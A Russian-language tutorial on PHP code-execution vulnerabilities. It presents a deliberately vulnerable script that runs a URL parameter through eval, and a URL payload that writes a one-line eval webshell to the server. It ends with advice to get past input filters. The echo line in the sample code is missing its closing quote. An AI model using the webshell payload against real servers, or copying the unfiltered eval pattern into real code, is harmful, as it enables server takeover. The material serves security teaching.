Основы
Поскольку разработчики не фильтруют специальные функции входа в коде, клиент может отправлять вредоносные команды, которые будут выполняться на сервере. Отсутствие фильтрации функций типа system
, eval
и exec
в веб-сервере является основной причиной успешной атаки с внедрением команд.
Пример кода
<?php
// code-exe.php:
$code=@$_GET['code'];//http://localhost/subject/code-exe.php?code=
echo "<center>Payload:".$code."<br/>Result:</center>
eval($code);
Весь код состоит из трёх строк. Первая строка используется для чтения значения параметра code
из URL-параметров. Вторая строка выводит значение этого параметра для проверки. Третья строка непосредственно выполняет этот параметр как PHP-код. Из-за отсутствия фильтрации возникает уязвимость выполнения кода.
Мы выполняем php -S 0.0.0.0:80
в каталоге этого файла, а затем обращаемся к http://localhost/code-exe.php?code=phpinfo();
и видим, что код выполнил функцию phpinfo
:
Использование
Можно заменить значение параметра code
в URL на другой PHP-код, чтобы выполнить различные PHP-команды. Ключевым моментом использования этой уязвимости является знание всех доступных PHP-команд.
Например, можно использовать phpinfo
или echo
для определения уязвимости. Самое главное, эту уязвимость можно использовать для записи веб-шелла, код которого выглядит следующим образом:
$file='mst.php'; // имя файла однострочного червя
$person='<?php @eval($_POST[1]);?>'; // код имени файла
file_put_contents($file,$person, FILE_APPEND | LOCK_EX); // если файл key.php не существует, он будет создан автоматически, иначе он будет добавлен
Нам нужно вставить эти три строки кода в URL, и полученный URL будет выглядеть так: http://localhost/code-exe.php?code=$file='mst.php';$person='<?php @eval($_POST[1]);?>';file_put_contents($file,$person, FILE_APPEND | LOCK_EX)
.
После посещения в текущем каталоге появится файл mst.php
с содержимым <?php @eval($_POST[1]);?>
, который представляет собой однострочный червь. Поскольку это не глава о инструментах, демонстрация с ножом здесь не приводится.
В реальном коде, конечно, невозможно, чтобы он был таким коротким, поэтому всем необходимо использовать eval
и exec
в качестве ключевых слов для поиска возможных уязвимостей. Кроме того, в реальном коде также возможно фильтрация перед выполнением $code
, поэтому всем также необходимо проявить творческий подход, чтобы обойти фильтрацию и успешно использовать её.
Приложение
Вы можете оставить комментарий после Вход в систему
Неприемлемый контент может быть отображен здесь и не будет показан на странице. Вы можете проверить и изменить его с помощью соответствующей функции редактирования.
Если вы подтверждаете, что содержание не содержит непристойной лексики/перенаправления на рекламу/насилия/вульгарной порнографии/нарушений/пиратства/ложного/незначительного или незаконного контента, связанного с национальными законами и предписаниями, вы можете нажать «Отправить» для подачи апелляции, и мы обработаем ее как можно скорее.
Опубликовать ( 0 )